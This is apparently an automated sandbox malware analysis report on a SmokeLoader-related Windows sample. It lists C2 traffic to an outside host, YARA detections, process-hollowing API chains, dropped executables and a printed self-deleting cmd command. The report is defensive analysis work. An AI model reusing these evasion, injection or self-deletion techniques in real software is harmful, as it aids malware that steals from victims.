Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149

Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: src="https://www.facebook.com/tr?id=485425442358926&ev=PageView&noscript=1" equals www.facebook.com (Facebook)
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: Bm9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yubswhv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: host-data-coin-11.com

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49759 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000001C.00000002.503480050.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.374208740.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.503274211.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.353435896.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.435228556.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.374186262.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.435588764.00000000006B1000.00000004.00020000.sdmp, type: MEMORY

Source: AA02.exe, 00000016.00000002.527637777.000000000088A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

.NET source code contains very large array initializations

Show sources

Source: C169.exe.4.dr, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 16.0.C169.exe.900000.1.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 16.0.C169.exe.900000.0.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 16.0.C169.exe.900000.2.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 16.0.C169.exe.900000.3.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 16.2.C169.exe.900000.0.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 23.0.C169.exe.990000.2.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 23.0.C169.exe.990000.5.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 23.0.C169.exe.990000.7.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736

PE file contains section with special chars

Show sources

Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:

PE file has nameless sections

Show sources

Source: A70A.exe.4.dr	Static PE information: section name:
Source: A70A.exe.4.dr	Static PE information: section name:
Source: A70A.exe.4.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\D466.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6636 -s 520

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_0040AD52	0_2_0040AD52
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_0040CD61	0_2_0040CD61
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_0040A5BE	0_2_0040A5BE
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_0040BED0	0_2_0040BED0
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_0040B2A3	0_2_0040B2A3
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00402A5F	2_2_00402A5F
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00402AB3	2_2_00402AB3
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_00402A5F	2_1_00402A5F
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_00402B2E	2_1_00402B2E
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_04793253	8_2_04793253
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_047931FF	8_2_047931FF
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00402A5F	9_2_00402A5F
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00402AB3	9_2_00402AB3
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_00402A5F	9_1_00402A5F
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_00402AB3	9_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EE0A1	11_2_013EE0A1
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EF301	11_2_013EF301
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013ED3D1	11_2_013ED3D1
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E52CD	11_2_013E52CD
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013DE532	11_2_013DE532
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E8509	11_2_013E8509
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EC401	11_2_013EC401
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E89E3	11_2_013E89E3
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013ED9C1	11_2_013ED9C1
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E8801	11_2_013E8801
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EE861	11_2_013EE861
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EC8A1	11_2_013EC8A1
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E4BF1	11_2_013E4BF1
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E3AC2	11_2_013E3AC2
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E8D2C	11_2_013E8D2C
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EBDF1	11_2_013EBDF1
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013ECDE1	11_2_013ECDE1
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013F4DD6	11_2_013F4DD6
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E3C15	11_2_013E3C15
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EEF91	11_2_013EEF91
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_012680B8	11_2_012680B8
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_01268400	11_2_01268400
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_0126BDD0	11_2_0126BDD0
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_01268CD0	11_2_01268CD0
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_01271E50	11_2_01271E50
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_01271E41	11_2_01271E41
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_0129ABD8	11_2_0129ABD8
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_02A8B950	16_2_02A8B950
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_02A8E260	16_2_02A8E260
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_02A8E9EB	16_2_02A8E9EB
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_05210978	16_2_05210978
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_05212AF0	16_2_05212AF0
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052A9048	16_2_052A9048
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052ACB10	16_2_052ACB10
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052AA7D8	16_2_052AA7D8
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052A83D0	16_2_052A83D0
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052AD26A	16_2_052AD26A
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052ABE70	16_2_052ABE70
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052ADED8	16_2_052ADED8
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00410E10	22_2_00410E10
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_0040FF80	22_2_0040FF80
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00410580	22_2_00410580
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00410390	22_2_00410390
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_0043D910	22_2_0043D910
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 23_2_02ACEC68	23_2_02ACEC68
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 23_2_05DE0040	23_2_05DE0040
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 23_2_05DE0007	23_2_05DE0007

Source: QMn13jz6nj.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: QMn13jz6nj.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A70A.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D466.exe.4.dr	Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: D466.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D466.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ddigjgj.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ddigjgj.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Section loaded: mscorjit.dll

Source: sqlite3[1].dll.22.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3.dll.22.dr	Static PE information: Number of sections : 19 > 10

Source: QMn13jz6nj.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: 23.2.C169.exe.2f893c6.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: Process Memory Space: C169.exe PID: 6276, type: MEMORYSTR	Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: String function: 00404850 appears 458 times

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00401962 Sleep,NtTerminateProcess,	2_2_00401962
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_0040196D Sleep,NtTerminateProcess,	2_2_0040196D
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_00402000
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	2_2_0040250A
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00401A0B NtTerminateProcess,	2_2_00401A0B
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_0040201A
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_0040201E
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_0040202D
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00402084 LocalAlloc,NtQuerySystemInformation,	2_2_00402084
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00402491 NtOpenKey,	2_2_00402491
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_00402000
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	2_1_0040250A
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_0040201A
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_0040201E
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_0040202D
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_00402084 LocalAlloc,NtQuerySystemInformation,	2_1_00402084
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_00402491 NtOpenKey,	2_1_00402491
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_04790110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	8_2_04790110
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00401962 Sleep,NtTerminateProcess,	9_2_00401962
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_0040196D Sleep,NtTerminateProcess,	9_2_0040196D
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_2_00402000
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	9_2_0040250A
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00401A0B NtTerminateProcess,	9_2_00401A0B
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_2_0040201A
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_2_0040201E
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_2_0040202D
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00402084 LocalAlloc,NtQuerySystemInformation,	9_2_00402084
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00402491 NtOpenKey,	9_2_00402491
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_1_00402000
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	9_1_0040250A
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_1_0040201A
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_1_0040201E
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	9_1_0040202D
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_00402084 LocalAlloc,NtQuerySystemInformation,	9_1_00402084
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_00402491 NtOpenKey,	9_1_00402491
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_05215368 NtAllocateVirtualMemory,	16_2_05215368
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052152B0 NtUnmapViewOfSection,	16_2_052152B0
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_05215363 NtAllocateVirtualMemory,	16_2_05215363
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_052152A8 NtUnmapViewOfSection,	16_2_052152A8

Source: QMn13jz6nj.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: D466.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ddigjgj.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: A70A.exe.4.dr	Static PE information: Section: ZLIB complexity 1.00011934878
Source: D375.exe.4.dr	Static PE information: Section: ZLIB complexity 1.00025390625
Source: D375.exe.4.dr	Static PE information: Section: ZLIB complexity 0.98994140625

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\ddigjgj

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@33/32@65/4

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: QMn13jz6nj.exe

Virustotal: Detection: 47%

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\QMn13jz6nj.exe "C:\Users\user\Desktop\QMn13jz6nj.exe"
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Process created: C:\Users\user\Desktop\QMn13jz6nj.exe "C:\Users\user\Desktop\QMn13jz6nj.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ddigjgj C:\Users\user\AppData\Roaming\ddigjgj
Source: C:\Users\user\AppData\Roaming\ddigjgj	Process created: C:\Users\user\AppData\Roaming\ddigjgj C:\Users\user\AppData\Roaming\ddigjgj
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A70A.exe C:\Users\user\AppData\Local\Temp\A70A.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C169.exe C:\Users\user\AppData\Local\Temp\C169.exe
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D466.exe C:\Users\user\AppData\Local\Temp\D466.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\AA02.exe C:\Users\user\AppData\Local\Temp\AA02.exe
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process created: C:\Users\user\AppData\Local\Temp\C169.exe C:\Users\user\AppData\Local\Temp\C169.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B6B5.exe C:\Users\user\AppData\Local\Temp\B6B5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D375.exe C:\Users\user\AppData\Local\Temp\D375.exe
Source: C:\Users\user\AppData\Local\Temp\D466.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6636 -s 520
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Process created: C:\Users\user\AppData\Local\Temp\B6B5.exe C:\Users\user\AppData\Local\Temp\B6B5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EE61.exe C:\Users\user\AppData\Local\Temp\EE61.exe
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process created: C:\Users\user\AppData\Local\Temp\EE61.exe C:\Users\user\AppData\Local\Temp\EE61.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Process created: C:\Users\user\Desktop\QMn13jz6nj.exe "C:\Users\user\Desktop\QMn13jz6nj.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A70A.exe C:\Users\user\AppData\Local\Temp\A70A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C169.exe C:\Users\user\AppData\Local\Temp\C169.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D466.exe C:\Users\user\AppData\Local\Temp\D466.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\AA02.exe C:\Users\user\AppData\Local\Temp\AA02.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B6B5.exe C:\Users\user\AppData\Local\Temp\B6B5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D375.exe C:\Users\user\AppData\Local\Temp\D375.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Process created: C:\Users\user\AppData\Roaming\ddigjgj C:\Users\user\AppData\Roaming\ddigjgj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process created: C:\Users\user\AppData\Local\Temp\C169.exe C:\Users\user\AppData\Local\Temp\C169.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Process created: C:\Users\user\AppData\Local\Temp\B6B5.exe C:\Users\user\AppData\Local\Temp\B6B5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process created: C:\Users\user\AppData\Local\Temp\EE61.exe C:\Users\user\AppData\Local\Temp\EE61.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5

Source: C:\Windows\explorer.exe

